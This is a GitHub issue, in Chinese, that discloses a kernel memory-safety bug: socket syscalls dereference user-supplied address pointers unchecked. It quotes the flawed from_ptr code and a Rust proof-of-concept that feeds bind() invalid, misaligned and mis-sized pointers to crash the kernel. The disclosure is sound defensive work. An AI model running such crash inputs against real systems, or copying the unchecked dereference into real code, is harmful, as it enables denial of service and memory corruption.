Skip to content

[内存安全问题]用户空间使用bind()、sendto()、connect()等函数可导致任意地址访问/内核崩溃/权限提升 #252

@xbadou

Description

@xbadou

上下文信息

  • 文件路径: kernel\kernel\src\net\syscalls.rs
  • 行号: 170 所属函数: sendto
  • 行号: 397 所属函数: connect
  • 行号: 423 所属函数: bind
  • 问题代码块: SocketAddress::from_ptr(address, address_len)

漏洞详情

  • 类型: 空指针/无效指针解引用,潜在的缓冲区越界访问
  • 触发条件: 攻击者提供无效指针、不当对齐的指针或长度不匹配的address_len参数
  • 调用链示例: 用户空间 -> bind()系统调用 -> SocketAddress::from_ptr() -> 内存解引用

漏洞影响范围

  • 所有调用bind()、sendto()、connect()系统调用的用户空间程序。
  • 可能导致内核崩溃 (Kernel Panic)、任意内核内存读取(信息泄露)、权限提升

代码证据

以bind()函数举例,其它类同

// 在 bind 函数中的调用(第423行)
let Some(socket_addr) = (unsafe { SocketAddress::from_ptr(address, address_len) }) else {
    log::error!("fd={}: Invalid Address", socket);
    return -libc::EBADF;
};

// SocketAddress::from_ptr 实现(在 net/mod.rs 中)
pub unsafe fn from_ptr<'a>(
    ptr: *const libc::sockaddr,
    len: libc::socklen_t,
) -> Option<&'a Self> {
    if ptr.is_null() || (len as usize) < core::mem::size_of::<libc::sockaddr>() {
        return None;  // 基础验证,但不足够
    }

    Some(&*(ptr as *const Self))  // 危险:直接解引用指针
}

漏洞利用示例

use librs::net::socket::{socket, bind};
use librs::errno::ERRNO;
use libc::{sockaddr, socklen_t, AF_INET, SOCK_STREAM, sockaddr_in6, AF_INET6, sockaddr_in, c_void, c_int, SOL_SOCKET, SO_PROTOCOL};

/// 测试 bind 函数的多种漏洞利用场景
fn test_bind_vulnerabilities() -> Result<(), String> {
    println!("\n=== Bind Function Vulnerability Tests ===");
    
    // 创建测试 socket
    let socket_fd = match create_test_socket() {
        Ok(fd) => fd,
        Err(e) => return Err(format!("Failed to create test socket: {}", e)),
    };
    
    println!("Created test socket with fd: {}", socket_fd);
    
    // 测试场景1: 无效指针攻击
    println!("\n[TEST 1] Invalid pointer attack");
    test_invalid_pointer(socket_fd)?;
    
    // 测试场景2: 对齐不当的指针
    println!("\n[TEST 2] Misaligned pointer attack");
    test_misaligned_pointer(socket_fd)?;
    
    // 测试场景3: 长度不匹配攻击
    println!("\n[TEST 3] Length mismatch attack");
    test_length_mismatch(socket_fd)?;
    
    // 测试场景4: 部分初始化内存攻击
    println!("\n[TEST 4] Partially initialized memory attack");
    test_partial_memory(socket_fd)?;

    // 清理
    unsafe {
        let _ = close(socket_fd);
    }
    
    println!("\n=== All vulnerability tests completed ===");
    Ok(())
}

/// 创建测试用的 socket
fn create_test_socket() -> Result<i32, String> {
    let socket_fd = unsafe { socket(AF_INET, SOCK_STREAM, 0) };
    if socket_fd < 0 {
        return Err("Failed to create socket".to_string());
    }
    Ok(socket_fd)
}

/// 测试场景1: 无效指针攻击
fn test_invalid_pointer(socket_fd: i32) -> Result<(), String> {
    println!("Attempting to trigger crash with invalid pointer...");
    
    // 指向未映射内存的恶意指针
    let malicious_ptr = 0xDEADBEEF as *const sockaddr;
    let addr_len = std::mem::size_of::<sockaddr>() as socklen_t;
    
    println!("Calling bind with malicious pointer: {:p}, length: {}", malicious_ptr, addr_len);
    
    // 这应该会导致系统崩溃或返回错误
    let result = unsafe { bind(socket_fd, malicious_ptr, addr_len) };
    
    if result == 0 {
        println!("WARNING: bind succeeded unexpectedly!");
    } else {
        let errno = ERRNO.get();
        println!("bind failed with errno: {}", errno);
    }
    
    Ok(())
}

/// 测试场景2: 对齐不当的指针
fn test_misaligned_pointer(socket_fd: i32) -> Result<(), String> {
    println!("Attempting to trigger crash with misaligned pointer...");
    
    // 创建未对齐的指针
    let data = [0u8; 100];
    let misaligned_ptr = &data[1] as *const u8 as *const sockaddr;
    let addr_len = std::mem::size_of::<sockaddr>() as socklen_t;
    
    println!("Calling bind with misaligned pointer: {:p}, length: {}", misaligned_ptr, addr_len);
    
    let result = unsafe { bind(socket_fd, misaligned_ptr, addr_len) };
    
    if result == 0 {
        println!("WARNING: bind succeeded unexpectedly!");
    } else {
        let errno = ERRNO.get();
        println!("bind failed with errno: {}", errno);
    }
    
    Ok(())
}

/// 测试场景3: 长度不匹配攻击
fn test_length_mismatch(socket_fd: i32) -> Result<(), String> {
    println!("Attempting to trigger crash with length mismatch...");
    
    // 创建 IPv6 地址但提供 IPv4 长度
    let mut ipv6_addr: sockaddr_in6 = unsafe { std::mem::zeroed() };
    ipv6_addr.sin6_family = AF_INET6 as libc::sa_family_t;
    ipv6_addr.sin6_port = 8080;
    
    let addr_ptr = &ipv6_addr as *const sockaddr_in6 as *const sockaddr;
    // 提供错误的长度(IPv4 长度而不是 IPv6 长度)
    let wrong_len = std::mem::size_of::<sockaddr_in>() as socklen_t;
    
    println!("Calling bind with IPv6 address but IPv4 length: {}", wrong_len);
    
    let result = unsafe { bind(socket_fd, addr_ptr, wrong_len) };
    
    if result == 0 {
        println!("WARNING: bind succeeded unexpectedly!");
    } else {
        let errno = ERRNO.get();
        println!("bind failed with errno: {}", errno);
    }
    
    Ok(())
}

/// 测试场景4: 部分初始化内存攻击
fn test_partial_memory(socket_fd: i32) -> Result<(), String> {
    println!("Attempting to trigger crash with partially initialized memory...");
    
    // 创建部分初始化的内存
    let mut partial_data = [0u8; std::mem::size_of::<sockaddr>()];
    partial_data[0] = 0;  // sa_family = 0 (无效地址族)
    // 不初始化其他字段
    
    let partial_ptr = partial_data.as_ptr() as *const sockaddr;
    let addr_len = std::mem::size_of::<sockaddr>() as socklen_t;
    
    println!("Calling bind with partially initialized memory (sa_family=0)");
    
    let result = unsafe { bind(socket_fd, partial_ptr, addr_len) };
    
    if result == 0 {
        println!("WARNING: bind succeeded unexpectedly!");
    } else {
        let errno = ERRNO.get();
        println!("bind failed with errno: {}", errno);
    }
    
    Ok(())
}

/// 关闭文件描述符的包装函数
unsafe fn close(fd: i32) -> i32 {
    extern "C" {
        fn close(fd: i32) -> i32;
    }
    close(fd)
}

漏洞利用截图

Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    securityFor security vulnerabilities, mitigations, and secure coding practices.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions